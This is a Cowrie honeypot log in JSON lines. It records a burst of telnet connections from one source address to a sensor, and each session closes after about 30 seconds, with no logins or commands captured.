{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40456,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad80145b212d","protocol":"telnet","message":"New connection: 204.10.38.242:40456 (159.203.135.109:23) [session: ad80145b212d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:25.345178Z"}
{"eventid":"cowrie.session.closed","duration":30.693095445632935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:26.114896Z","src_ip":"204.10.38.242","session":"98bd672bef17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44504,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a34e6c9683f","protocol":"telnet","message":"New connection: 204.10.38.242:44504 (159.203.135.109:23) [session: 6a34e6c9683f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:26.288128Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60440,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3af35c1ab9f","protocol":"telnet","message":"New connection: 204.10.38.242:60440 (159.203.135.109:23) [session: e3af35c1ab9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:26.452697Z"}
{"eventid":"cowrie.session.closed","duration":31.138194799423218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:26.482523Z","src_ip":"204.10.38.242","session":"a962b6f8e0c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48420,"dst_ip":"159.203.135.109","dst_port":23,"session":"38fd32871a58","protocol":"telnet","message":"New connection: 204.10.38.242:48420 (159.203.135.109:23) [session: 38fd32871a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:27.100497Z"}
{"eventid":"cowrie.session.closed","duration":30.87838053703308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:27.160217Z","src_ip":"204.10.38.242","session":"87d15befd8aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972832679748535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:27.221035Z","src_ip":"204.10.38.242","session":"9819b735fa82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46646,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5f49104d2ee","protocol":"telnet","message":"New connection: 204.10.38.242:46646 (159.203.135.109:23) [session: f5f49104d2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:27.641235Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33722,"dst_ip":"159.203.135.109","dst_port":23,"session":"31dfba248105","protocol":"telnet","message":"New connection: 204.10.38.242:33722 (159.203.135.109:23) [session: 31dfba248105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:27.783847Z"}
{"eventid":"cowrie.session.closed","duration":30.742032289505005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:28.064909Z","src_ip":"204.10.38.242","session":"af60c35f4600","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53474,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b12759fe309","protocol":"telnet","message":"New connection: 204.10.38.242:53474 (159.203.135.109:23) [session: 6b12759fe309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:28.157332Z"}
{"eventid":"cowrie.session.closed","duration":30.725993871688843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:28.162977Z","src_ip":"204.10.38.242","session":"35847e80da58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.797674655914307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:28.190953Z","src_ip":"204.10.38.242","session":"8d2124e865bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53838,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4f80f0f6184","protocol":"telnet","message":"New connection: 204.10.38.242:53838 (159.203.135.109:23) [session: c4f80f0f6184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:28.288213Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55250,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4a0868e3038","protocol":"telnet","message":"New connection: 204.10.38.242:55250 (159.203.135.109:23) [session: f4a0868e3038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:28.446270Z"}
{"eventid":"cowrie.session.closed","duration":31.04322624206543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:28.558590Z","src_ip":"204.10.38.242","session":"852e40bd08bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57416,"dst_ip":"159.203.135.109","dst_port":23,"session":"1731e1ca6746","protocol":"telnet","message":"New connection: 204.10.38.242:57416 (159.203.135.109:23) [session: 1731e1ca6746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:28.849524Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58264,"dst_ip":"159.203.135.109","dst_port":23,"session":"2916ca21bf92","protocol":"telnet","message":"New connection: 204.10.38.242:58264 (159.203.135.109:23) [session: 2916ca21bf92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:29.044112Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58694,"dst_ip":"159.203.135.109","dst_port":23,"session":"4de276a654ea","protocol":"telnet","message":"New connection: 204.10.38.242:58694 (159.203.135.109:23) [session: 4de276a654ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:29.147866Z"}
{"eventid":"cowrie.session.closed","duration":30.925620794296265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:29.234040Z","src_ip":"204.10.38.242","session":"09c3f6612ee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59140,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f58b75afa7f","protocol":"telnet","message":"New connection: 204.10.38.242:59140 (159.203.135.109:23) [session: 4f58b75afa7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:29.294910Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59154,"dst_ip":"159.203.135.109","dst_port":23,"session":"792048375b91","protocol":"telnet","message":"New connection: 204.10.38.242:59154 (159.203.135.109:23) [session: 792048375b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:29.299823Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55938,"dst_ip":"159.203.135.109","dst_port":23,"session":"f835da507895","protocol":"telnet","message":"New connection: 204.10.38.242:55938 (159.203.135.109:23) [session: f835da507895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:29.548752Z"}
{"eventid":"cowrie.session.closed","duration":31.825611114501953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:29.742325Z","src_ip":"204.10.38.242","session":"6f7890eebdd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061891555786133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:30.152570Z","src_ip":"204.10.38.242","session":"3ca6feb67d5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.660528898239136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:30.158388Z","src_ip":"204.10.38.242","session":"943ecf2b0f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84160542488098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:30.225523Z","src_ip":"204.10.38.242","session":"d81b384b56c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914783000946045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:30.271223Z","src_ip":"204.10.38.242","session":"1ce5a3b86e62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35658,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d382ecabe21","protocol":"telnet","message":"New connection: 204.10.38.242:35658 (159.203.135.109:23) [session: 0d382ecabe21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:30.318295Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36052,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b47c890cdbd","protocol":"telnet","message":"New connection: 204.10.38.242:36052 (159.203.135.109:23) [session: 3b47c890cdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:30.360367Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37186,"dst_ip":"159.203.135.109","dst_port":23,"session":"3747ec5abec5","protocol":"telnet","message":"New connection: 204.10.38.242:37186 (159.203.135.109:23) [session: 3747ec5abec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:30.479437Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40800,"dst_ip":"159.203.135.109","dst_port":23,"session":"b50c9d0e418d","protocol":"telnet","message":"New connection: 204.10.38.242:40800 (159.203.135.109:23) [session: b50c9d0e418d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:31.324532Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41058,"dst_ip":"159.203.135.109","dst_port":23,"session":"482d31fe0226","protocol":"telnet","message":"New connection: 204.10.38.242:41058 (159.203.135.109:23) [session: 482d31fe0226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:31.355869Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60212,"dst_ip":"159.203.135.109","dst_port":23,"session":"425ad46dddbc","protocol":"telnet","message":"New connection: 204.10.38.242:60212 (159.203.135.109:23) [session: 425ad46dddbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:31.420992Z"}
{"eventid":"cowrie.session.closed","duration":31.448223114013672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:31.888025Z","src_ip":"204.10.38.242","session":"85f1b9c6f6f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43760,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2a5b6a8b1bc","protocol":"telnet","message":"New connection: 204.10.38.242:43760 (159.203.135.109:23) [session: e2a5b6a8b1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:31.930083Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44244,"dst_ip":"159.203.135.109","dst_port":23,"session":"4144ae90530a","protocol":"telnet","message":"New connection: 204.10.38.242:44244 (159.203.135.109:23) [session: 4144ae90530a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:32.042075Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":39670,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5f60db9f4f3","protocol":"telnet","message":"New connection: 204.10.38.242:39670 (159.203.135.109:23) [session: a5f60db9f4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:32.057044Z"}
{"eventid":"cowrie.session.closed","duration":30.583174467086792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:32.065850Z","src_ip":"204.10.38.242","session":"20997bff5c6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75532579421997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:32.088590Z","src_ip":"204.10.38.242","session":"598dbf604b98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.295589685440063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:32.154107Z","src_ip":"204.10.38.242","session":"4cd97e61945d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44840,"dst_ip":"159.203.135.109","dst_port":23,"session":"30e9ddf6e120","protocol":"telnet","message":"New connection: 204.10.38.242:44840 (159.203.135.109:23) [session: 30e9ddf6e120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:32.210427Z"}
{"eventid":"cowrie.session.closed","duration":30.85796022415161,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:32.215283Z","src_ip":"204.10.38.242","session":"ca9811ab868e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46092,"dst_ip":"159.203.135.109","dst_port":23,"session":"40a13224d1b9","protocol":"telnet","message":"New connection: 204.10.38.242:46092 (159.203.135.109:23) [session: 40a13224d1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:32.402468Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46774,"dst_ip":"159.203.135.109","dst_port":23,"session":"e11631f49ea5","protocol":"telnet","message":"New connection: 204.10.38.242:46774 (159.203.135.109:23) [session: e11631f49ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:32.472677Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42754,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f881ccf75c1","protocol":"telnet","message":"New connection: 204.10.38.242:42754 (159.203.135.109:23) [session: 2f881ccf75c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:32.650590Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48232,"dst_ip":"159.203.135.109","dst_port":23,"session":"df06aec837e3","protocol":"telnet","message":"New connection: 204.10.38.242:48232 (159.203.135.109:23) [session: df06aec837e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:32.783633Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48864,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b6ad13fded1","protocol":"telnet","message":"New connection: 204.10.38.242:48864 (159.203.135.109:23) [session: 6b6ad13fded1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:32.919825Z"}
{"eventid":"cowrie.session.closed","duration":30.226823568344116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:33.089848Z","src_ip":"204.10.38.242","session":"b9f4a5349b7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58002519607544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:33.151748Z","src_ip":"204.10.38.242","session":"83dce9acf6a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23909044265747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:33.168885Z","src_ip":"204.10.38.242","session":"e933bd29d316","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":45024,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e98d92b4f95","protocol":"telnet","message":"New connection: 204.10.38.242:45024 (159.203.135.109:23) [session: 3e98d92b4f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:33.299988Z"}
{"eventid":"cowrie.session.closed","duration":31.308690786361694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:33.431984Z","src_ip":"204.10.38.242","session":"a32957d99afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51726,"dst_ip":"159.203.135.109","dst_port":23,"session":"404a6c62cd4f","protocol":"telnet","message":"New connection: 204.10.38.242:51726 (159.203.135.109:23) [session: 404a6c62cd4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:33.436938Z"}
{"eventid":"cowrie.session.closed","duration":31.165403366088867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:33.492039Z","src_ip":"204.10.38.242","session":"d2cddf3e6dd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52374,"dst_ip":"159.203.135.109","dst_port":23,"session":"0654d9e3491b","protocol":"telnet","message":"New connection: 204.10.38.242:52374 (159.203.135.109:23) [session: 0654d9e3491b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:33.576358Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53276,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1dbd7000007","protocol":"telnet","message":"New connection: 204.10.38.242:53276 (159.203.135.109:23) [session: a1dbd7000007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:33.806010Z"}
{"eventid":"cowrie.session.closed","duration":30.979034423828125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:33.836905Z","src_ip":"204.10.38.242","session":"f3c18388802e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53856,"dst_ip":"159.203.135.109","dst_port":23,"session":"446e209ba1cb","protocol":"telnet","message":"New connection: 204.10.38.242:53856 (159.203.135.109:23) [session: 446e209ba1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:33.928391Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54004,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff725b82eefe","protocol":"telnet","message":"New connection: 204.10.38.242:54004 (159.203.135.109:23) [session: ff725b82eefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:33.959779Z"}
{"eventid":"cowrie.session.closed","duration":30.473953008651733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:34.042696Z","src_ip":"204.10.38.242","session":"cb5cf23f0f31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.391918897628784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:34.141930Z","src_ip":"204.10.38.242","session":"91737570318f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874257802963257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:34.183844Z","src_ip":"204.10.38.242","session":"1eb058ef1fec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55518,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3aa3264621d","protocol":"telnet","message":"New connection: 204.10.38.242:55518 (159.203.135.109:23) [session: c3aa3264621d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:34.333369Z"}
{"eventid":"cowrie.session.closed","duration":30.947379112243652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:34.383236Z","src_ip":"204.10.38.242","session":"951df256e750","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56920,"dst_ip":"159.203.135.109","dst_port":23,"session":"267de7f6b7cd","protocol":"telnet","message":"New connection: 204.10.38.242:56920 (159.203.135.109:23) [session: 267de7f6b7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:34.476569Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59416,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bd28a2badeb","protocol":"telnet","message":"New connection: 204.10.38.242:59416 (159.203.135.109:23) [session: 7bd28a2badeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:35.057579Z"}
{"eventid":"cowrie.session.closed","duration":30.53132390975952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:35.122251Z","src_ip":"204.10.38.242","session":"ac0268ff95ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837852478027344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:35.156075Z","src_ip":"204.10.38.242","session":"65d81bc91658","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60158,"dst_ip":"159.203.135.109","dst_port":23,"session":"1af52bc099e8","protocol":"telnet","message":"New connection: 204.10.38.242:60158 (159.203.135.109:23) [session: 1af52bc099e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:35.282563Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33130,"dst_ip":"159.203.135.109","dst_port":23,"session":"666c2bf587fc","protocol":"telnet","message":"New connection: 204.10.38.242:33130 (159.203.135.109:23) [session: 666c2bf587fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:35.437255Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57276,"dst_ip":"159.203.135.109","dst_port":23,"session":"93c9cc6c26d0","protocol":"telnet","message":"New connection: 204.10.38.242:57276 (159.203.135.109:23) [session: 93c9cc6c26d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:35.549737Z"}
{"eventid":"cowrie.session.closed","duration":31.407288551330566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:35.718587Z","src_ip":"204.10.38.242","session":"2bdf78d8a54c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.728240966796875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:36.035503Z","src_ip":"204.10.38.242","session":"b8a85cc50b79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.435288906097412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:36.108274Z","src_ip":"204.10.38.242","session":"1cf8a6a04f8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60040,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfb0fb785fb1","protocol":"telnet","message":"New connection: 204.10.38.242:60040 (159.203.135.109:23) [session: dfb0fb785fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:36.258089Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36674,"dst_ip":"159.203.135.109","dst_port":23,"session":"c11a4daf7fac","protocol":"telnet","message":"New connection: 204.10.38.242:36674 (159.203.135.109:23) [session: c11a4daf7fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:36.344219Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37054,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3d91961b5ff","protocol":"telnet","message":"New connection: 204.10.38.242:37054 (159.203.135.109:23) [session: c3d91961b5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:36.383004Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37760,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc44ce7291d1","protocol":"telnet","message":"New connection: 204.10.38.242:37760 (159.203.135.109:23) [session: dc44ce7291d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:36.468906Z"}
